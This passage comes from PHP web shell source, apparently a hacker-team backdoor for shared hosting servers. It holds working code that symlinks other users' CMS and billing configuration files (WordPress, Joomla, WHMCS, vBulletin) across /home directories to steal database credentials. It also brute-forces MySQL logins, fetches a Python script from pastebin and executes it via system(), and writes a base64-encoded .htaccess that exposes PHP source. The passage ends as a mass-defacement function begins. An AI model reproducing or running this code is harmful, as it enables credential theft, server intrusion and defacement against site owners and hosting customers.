  807.  @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  808.  @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  809.  @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
  810. } echo '<b><font face="Homenaje" color="springgreen" size="3pt"><b>Selesai Bos Q, Monggo >></b> <a target="_blank" href="Stupidc0de-Conf">Hajar Config</a></font></b>';
  811. } die();
  812.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'brute')) { 
  813. ?>
  814.                                                 <form action="?path=
  815. <?php echo $path;
  816.  
  817. ?>&
  818. x=brute" method="post">
  819.                        
  820. <?php @set_time_limit(0);
  821.  @error_reporting(0);
  822.  if($_POST['page']=='find') { if(isset($_POST['usernames']) && isset($_POST['passwords'])) { if($_POST['type'] == 'passwd'){ $e = explode("\n",$_POST['usernames']);
  823.  foreach($e as $value){ $k = explode(":",$value);
  824.  $username .= $k['0']." ";
  825.  } }elseif($_POST['type'] == 'simple'){ $username = str_replace("\n",' ',$_POST['usernames']);
  826.  } $a1 = explode(" ",$username);
  827.  $a2 = explode("\n",$_POST['passwords']);
  828.  $id2 = count($a2);
  829.  $ok = 0;
  830.  foreach($a1 as $user ) { if($user !== '') { $user=trim($user);
  831.  for($i=0;
  832. $i<=$id2;
  833. $i++) { $pass = trim($a2[$i]);
  834.  if(@mysql_connect('localhost',$user,$pass)) { echo "Zoo!! ~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=white>$pass</font></b>)<br />";
  835.  $ok++;
  836.  } } } } echo "<hr><b>You Found <font color=red>$ok</font> By HCA-TEAM</b>";
  837.  echo "<center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
  838.  exit;
  839.  } } if($_POST['pass']=='password'){ @error_reporting(0);
  840.  $i = getenv('REMOTE_ADDR');
  841.  $d = date('D, M jS, Y H:i',time());
  842.  $h = $_SERVER['HTTP_HOST'];
  843.  $dir=$_SERVER['PHP_SELF'];
  844.  mkdir('config',0755);
  845.  $cp = file_get_contents("http://pastebin.com/raw/0YG2dZ98");
  846.  $file = fopen("cp.py","w+");
  847.  $write = fwrite ($file ,$cp);
  848.  fclose($file);
  849.  chmod("cp.py",0755);
  850.  $url = $_POST['url'];
  851.  echo"<center>
  852.                         <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  853.  system("python cp.py $url config");
  854.  unlink ('cp.py');
  855.  echo"</textarea>
  856.                         </center>";
  857.  echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
  858.  exit;
  859.  } if($_POST['mendapatkan']=='passwd'){ @set_magic_quotes_runtime(0);
  860.  ob_start();
  861.  error_reporting(0);
  862.  @set_time_limit(0);
  863.  @ini_set('max_execution_time',0);
  864.  @ini_set('output_buffering',0);
  865.  $fn = $_POST['foldername'];
  866.  function syml($usern,$pdomain) { symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  867.  symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  868.  symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  869.  symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  870.  symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  871.  symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  872.  symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  873.  symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  874.  symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  875.  symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  876.  symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  877.  symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  878.  symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  879.  symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  880.  symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  881.  symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  882.  symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  883.  symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  884.  symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  885.  symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  886.  symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  887.  symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  888.  symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  889.  symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  890.  symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  891.  symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  892.  symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  893.  symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  894.  symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  895.  symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  896.  symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  897.  symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  898.  symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  899.  symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  900.  symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  901.  symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  902.  symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  903.  symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  904.  symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  905.  symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  906.  symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  907.  symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  908.  symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  909.  symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  910.  symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  911.  symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  912.  symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  913.  symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  914.  symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  915.  symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  916.  symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  917.  symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  918.  symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  919.  symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  920.  symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  921.  symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  922.  symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  923.  symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  924.  symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  925.  symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  926.  symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  927.  symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  928.  symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  929.  symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  930.  symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  931.  symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  932.  symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  933.  symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  934.  symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  935.  symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  936.  symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  937.  symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  938.  symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  939.  symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  940.  symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  941.  symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  942.  symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  943.  symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  944.  symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  945.  symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  946.  symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  947.  symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  948.  symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  949.  symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  950.  symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  951.  symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  952.  symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  953.  symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  954.  symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  955.  symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  956.  symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  957.  symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  958.  symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  959.  symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  960.  symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  961.  symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  962.  symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  963.  symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  964.  symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  965.  symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  966.  symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  967.  symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  968.  symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  969.  symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  970.  symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  971.  symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  972.  symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  973.  symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  974.  symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  975.  symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  976.  symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  977.  symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  978.  symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  979.  symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  980.  symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  981.  symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  982.  symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  983.  symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  984.  symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  985.  symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  986.  symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  987.  symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  988.  symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  989.  symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  990.  symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  991.  symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  992.  symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  993.  symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  994.  symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  995.  symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  996.  symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  997.  symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  998.  symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  999.  symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1000.  symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1001.  symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1002.  symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1003.  symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1004.  symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1005.  symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1006.  symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1007.  symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1008.  symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1009.  symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1010.  symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1011.  symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1012.  symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1013.  symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1014.  symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1015.  symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1016.  symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1017.  symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1018.  symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1019.  symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1020.  symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1021.  symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1022.  symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1023.  symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1024.  symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1025.  symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1026.  symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1027.  symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1028.  symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1029.  symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1030.  symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1031.  symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1032.  symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1033.  symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1034.  symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1035.  symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1036.  symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1037.  symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1038.  symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1039.  symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1040.  symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1041.  symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1042.  symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1043.  symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1044.  symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1045.  symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1046.  symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1047.  symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1048.  symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1049.  symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1050.  symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1051.  symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1052.  symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1053.  symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1054.  symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1055.  symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1056.  symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1057.  symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1058.  symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1059.  symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1060.  symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1061.  symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1062.  symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1063.  symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1064.  symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1065.  symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1066.  symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1067.  symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1068.  symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1069.  symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1070.  symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1071.  symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1072.  symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1073.  symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1074.  symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1075.  symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1076.  } $d0mains = @file("/etc/named.conf");
  1077.  if($d0mains) { mkdir($fn);
  1078.  chdir($fn);
  1079.  foreach($d0mains as $d0main) { if(eregi("zone",$d0main)) { preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1080.  flush();
  1081.  if(strlen(trim($domains[1][0])) > 2) { $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1082.  syml($user['name'],$domains[1][0]);
  1083.  } } } echo "<center><font color=springgreen size=3>Done</font></center>";
  1084.  echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
  1085.  } else { mkdir($fn);
  1086.  chdir($fn);
  1087.  $temp = "";
  1088.  $val1 = 0;
  1089.  $val2 = 1000;
  1090.  for(;
  1091. $val1 <= $val2;
  1092. $val1++) { $uid = @posix_getpwuid($val1);
  1093.  if ($uid) $temp .= join(':',$uid)."\n";
  1094.  } echo '<br/>';
  1095.  $temp = trim($temp);
  1096.  $file5 = fopen("test.txt","w");
  1097.  fputs($file5,$temp);
  1098.  fclose($file5);
  1099.  $htaccess = 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  1100.                         aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  1101.                         biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  1102.                         ';
  1103.  $file = fopen(".htaccess","w+");
  1104.  $write = fwrite ($file ,base64_decode($htaccess));
  1105.  $file = fopen("test.txt", "r") or exit("Unable to open file!");
  1106.  while(!feof($file)) { $s = fgets($file);
  1107.  $matches = array();
  1108.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1109.  $matches = str_replace("home/","",$matches[1]);
  1110.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
  1111.  syml($matches,$matches);
  1112.  } fclose($file);
  1113.  echo "</table>";
  1114.  unlink("test.txt");
  1115.  echo "<center><font color=springgreen size=3>Done</font></center>";
  1116.  echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
  1117.  } echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1118.  exit;
  1119.  } 
  1120. ?>
  1121.                         <form method="POST" target="_blank">
  1122.                         <input name="page" type="hidden" value="find">
  1123.                                 <table border=1>
  1124.                                 <body bgcolor="black" text="white"><br><br>
  1125.  
  1126.                                 <center><b><font size="2" style="italic" color="white">Cpanel BruteForce<br><br></b></center></td></tr>
  1127.                          <tr>
  1128.                          <td>
  1129.                                 <strong>User :</strong>
  1130.                                 </td>
  1131.                                 <td>
  1132.                                 <strong><textarea cols="50" style="background:#191818;
  1133. outline:none;
  1134. color:white;
  1135. " rows="5" name="usernames">
  1136. <?php system('ls /var/mail');
  1137.  
  1138. ?></textarea></strong>
  1139.                          </td>
  1140.                          <tr>
  1141.                          <td>
  1142.                                 <strong>Pass :</strong>
  1143.                                 </td>
  1144.                                 <td>
  1145.                          <strong><textarea cols="50" style="background:#191818;
  1146. outline:none;
  1147. color:white;
  1148. " rows="5" name="passwords"></textarea></strong>
  1149.                                 </td>
  1150.                          </tr>
  1151.                          <tr>
  1152.                          <td>
  1153.                                 <strong>Type :</strong>
  1154.                                 </td>
  1155.                          <td>
  1156.                          <span style="background:#191818;
  1157. outline:none;
  1158. color:white;
  1159. "><strong>Simple : </strong> </span>
  1160.                                 <strong>
  1161.                                 <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  1162.                          <font style="background:black;
  1163. outline:none;
  1164. color:white;
  1165. "><strong>/etc/passwd : </strong> </font>
  1166.                                 <strong>
  1167.                                 <input type="radio" name="type" value="passwd" style="background:black;
  1168. outline:none;
  1169. color:white;
  1170. "></strong><span class="style3"><strong>
  1171.                                 </strong>
  1172.                                 </span>
  1173.                          <td style="background:black;
  1174. outline:none;
  1175. color:white;
  1176. " >
  1177.                          <strong><input class ='bordergaya' type="submit" value="START"></strong>
  1178.                          </td>
  1179.                          </tr>
  1180.                                 </table>
  1181.                                 <br>
  1182.                                 <table border=1>
  1183.                         </form>
  1184.                         <tr>
  1185.                          <td style="background:black;
  1186. outline:none;
  1187. color:white;
  1188. ">
  1189.                                         <strong>Get Wordlist</strong>
  1190.                         <form method="POST" target="_blank">
  1191.                                 <strong>
  1192.                         <input name="pass" type="hidden" value="password">
  1193.                          </strong>
  1194.                          <strong>Url Config :</strong>
  1195.                                 <td>
  1196.  
  1197.                          <strong>
  1198.                                         <input style="background:black;
  1199. outline:none;
  1200. color:white;
  1201. " size="80" name="url" type="text"></strong>
  1202.  
  1203.                          <td style="background:black;
  1204. outline:none;
  1205. color:white;
  1206. "><strong><input class ='bordergaya' type="submit" value="GO">
  1207.                          </strong>
  1208.                          </td>
  1209.                                 </table>
  1210.                                
  1211. <?php echo"<br/><br/>";
  1212.  die();
  1213.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'massde')) { 
  1214. ?></center></center>
  1215. <style type="text/css">
  1216.         .ketengah{
  1217.         text-align: left;
  1218.  
  1219.         font-size: 16px;
  1220.  
  1221.         color: orange;
  1222.  
  1223.         font-family: Homenaje;
  1224.  
  1225.         margin-left: 18%;
  1226.  
  1227. </style>
  1228.  
  1229. <?php function sabun_massal($path,$namafile,$isi_script) { if(is_writable($path)) { $patha = scandir($path);
  1230.  foreach($patha as $pathb) { $pathc = "$path/$pathb";
